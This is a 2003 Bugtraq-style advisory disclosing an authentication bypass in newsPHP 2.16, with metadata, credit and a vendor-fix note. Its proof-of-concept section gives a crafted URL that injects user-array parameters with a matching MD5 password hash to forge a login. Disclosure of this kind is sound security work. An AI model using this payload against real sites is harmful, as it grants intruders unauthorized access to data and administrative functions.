newsPHP Authentication Bypass Vulnerability

BID:8489

Info

newsPHP Authentication Bypass Vulnerability

Bugtraq ID: 8489
Class: Access Validation Error
CVE:
Remote: Yes
Local: No
Published: Aug 25 2003 12:00AM
Updated: Aug 25 2003 12:00AM
Credit: The disclosure of this vulnerability has been credited to Dariusz 'Officerrr' Kolasinski.
Vulnerable: newsPHP newsPHP 216
Not Vulnerable:

Discussion

newsPHP Authentication Bypass Vulnerability

A vulnerability is reported to exist in newPHP that may allow an attacker to gain access to a vulnerable host due to improper verification of authentication credentials.

This issue may be exploited to gain access to sensitive data or perform other unauthorized actions.

Exploit / POC

newsPHP Authentication Bypass Vulnerability

The following proof of concept was provided:

http://[host]/nphp/?[action here, example: output]&
pword=a&
uname=[fake usernamehere]&
nphp_users[user index here][0]=a&
nphp_users[user index here][1]=0cc175b9c0f1b6a831c399e269772661&
nphp_users[user index here][3]=5

Solution / Fix

newsPHP Authentication Bypass Vulnerability

Solution:
It has been reported that the vendor has released a new version of newsPHP to address this and other issues. Please contact the vendor in order to obtain fixes.

References

newsPHP Authentication Bypass Vulnerability

References:

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